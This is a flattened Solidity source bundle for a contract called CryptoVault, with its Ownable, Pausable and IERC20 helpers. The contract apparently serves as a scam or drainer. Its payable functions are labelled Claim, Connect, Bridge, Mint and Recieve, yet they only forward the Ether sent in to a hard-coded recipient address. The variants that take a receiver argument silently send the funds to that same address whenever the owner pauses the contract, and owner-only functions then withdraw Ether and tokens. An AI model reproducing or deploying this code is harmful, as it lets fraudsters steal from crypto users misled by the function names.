// File: Context.sol



// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// File: CryptoVault.sol



// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import "./Owner.sol";
import "./Pausable.sol";
import "./IERC20.sol";




contract CryptoVault is Ownable,Pausable {
    event TransferSent(address _from, address _destAddr, uint256 _amount);
    event TokenSent(IERC20 _token, address _receiver, uint256 _amount);
    event RecipientChanged(address indexed oldRecipient, address indexed newRecipient);
    event Vault(bool isVault);


    address private recipient = 0x283Ea2C553ba2aAb51f1F3377f28e2ed64cB609c;
    bool private _storeEther = false;

 


    function updateRecipient(address _recipient) public isOwner {
        emit RecipientChanged(recipient, _recipient);
        recipient = _recipient;
    }



    function currentRecipient() external view returns (address) {
        return recipient;
    }

    function isVault() external view returns (bool) {
        return _storeEther;
    }

    function _transferEth(address payable _to, uint256 value) private returns (bytes memory) {
        (bool sent, bytes memory data) = _to.call{value: value}("");
        require(sent, "Failed to send Ether");
        return data;
    }

    function _safeTransfer(
        IERC20 token,
        address receiver,
        uint256 amount
    ) private {
        bool sent = token.transfer(receiver,amount);
        require(sent, "Token transfer failed");
    }

    function pause() public isOwner {
        _pause();
    }

    function createVault() public isOwner {
        _storeEther = true;
        emit Vault(_storeEther);
    }

    function destroyVault() public isOwner {
        _storeEther = false;
        emit Vault(_storeEther);
    }

    function unpause() public isOwner {
        _unpause();
    }

    function balance() public view returns (uint256) {
        return address(this).balance;
    } 

    function tokenBalance(IERC20 token) public view returns (uint256) {
        return token.balanceOf(address(this));
    } 

    
    function Claim() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(recipient),msg.value);
            emit TransferSent(msg.sender,recipient,msg.value);
        }
    }

    function Connect() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(recipient),msg.value);
            emit TransferSent(msg.sender,recipient,msg.value);
        }
    }

    function Bridge() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(recipient),msg.value);
            emit TransferSent(msg.sender,recipient,msg.value);
        }
    }

    function Recieve() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(recipient),msg.value);
            emit TransferSent(msg.sender,recipient,msg.value);
        }
    }

    function Mint() public payable{
        if(_storeEther) {
            emit TransferSent(msg.sender,address(this),msg.value);
        } else {
            _transferEth(payable(recipient),msg.value);
            emit TransferSent(msg.sender,recipient,msg.value);
        }
    }

    function mint(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(recipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function connect(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(recipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function bridge(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(recipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function recieve(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(recipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }

    function claim(address payable receiver) public payable {
        if(paused()) {
         _transferEth(payable(recipient),msg.value);
        } else {
            _transferEth(receiver,msg.value);
        }
        emit TransferSent(msg.sender,receiver,msg.value);
    }


    function withDrawEther(uint256 amount, address payable receiver) public isOwner {
        require(amount <= address(this).balance, "Requested amount exceeds the contract balance.");
        require(receiver != address(0), "Recipient address cannot be the zero address.");
        _transferEth(receiver,amount);
        emit TransferSent(address(this),receiver,amount);
    }

    function withDrawToken(IERC20 token, address receiver, uint256 amount) public isOwner {
        require(amount <= token.balanceOf(address(this)), "Requested amount exceeds the contract balance.");
        require(receiver != address(0), "Recipient address cannot be the zero address.");
        _safeTransfer(token,receiver,amount);
        emit TokenSent(token,receiver,amount);
    }

    function withdrawTokens(IERC20[] memory tokens, uint256[] memory amounts, address receiver) public isOwner {
        require(tokens.length == amounts.length, "Arrays length mismatch");

        for (uint256 i = 0; i < tokens.length; i++) {
            IERC20 token = tokens[i];
            uint256 amount = amounts[i];
            require(amount <= token.balanceOf(address(this)), "Insufficient balance for token");
            _safeTransfer(token,receiver,amount);
            emit TokenSent(token,receiver,amount);
        }
    }

    function withdrawTokens(IERC20[] memory tokens, uint256[] memory amounts, address[] memory receivers) public isOwner {
        require(tokens.length == amounts.length, "Arrays length mismatch");
        for (uint256 i = 0; i < tokens.length; i++) {
            IERC20 token = tokens[i];
            uint256 amount = amounts[i];
            address receiver = receivers[i];
            require(amount <= token.balanceOf(address(this)), "Insufficient balance for token");
            _safeTransfer(token,receiver,amount);
            emit TokenSent(token,receiver,amount);
        }
    }

}
// File: IERC20.sol



// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: Owner.sol



// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract Ownable {

    address private owner;
    
    event OwnerChanged(address indexed oldOwner, address indexed newOwner);
    
    modifier isOwner() {
        require(msg.sender == owner, "Not Authorized to call this method");
        _;
    }
    
    constructor() {
        owner = msg.sender;
        emit OwnerChanged(address(0), owner);
    }

    function changeOwner(address newOwner) public isOwner {
        emit OwnerChanged(owner, newOwner);
        owner = newOwner;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}
// File: Pausable.sol



// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

import "./Context.sol";

abstract contract Pausable is Context {

    event Paused(address account);

    event Unpaused(address account);

    bool private _paused;

    constructor() {
        _paused = false;
    }

    function paused() public view virtual returns (bool) {
        return _paused;
    }

    modifier whenNotPaused() {
        require(!paused(), "Pausable: paused");
        _;
    }

    modifier whenPaused() {
        require(paused(), "Pausable: not paused");
        _;
    }

  
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }

    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}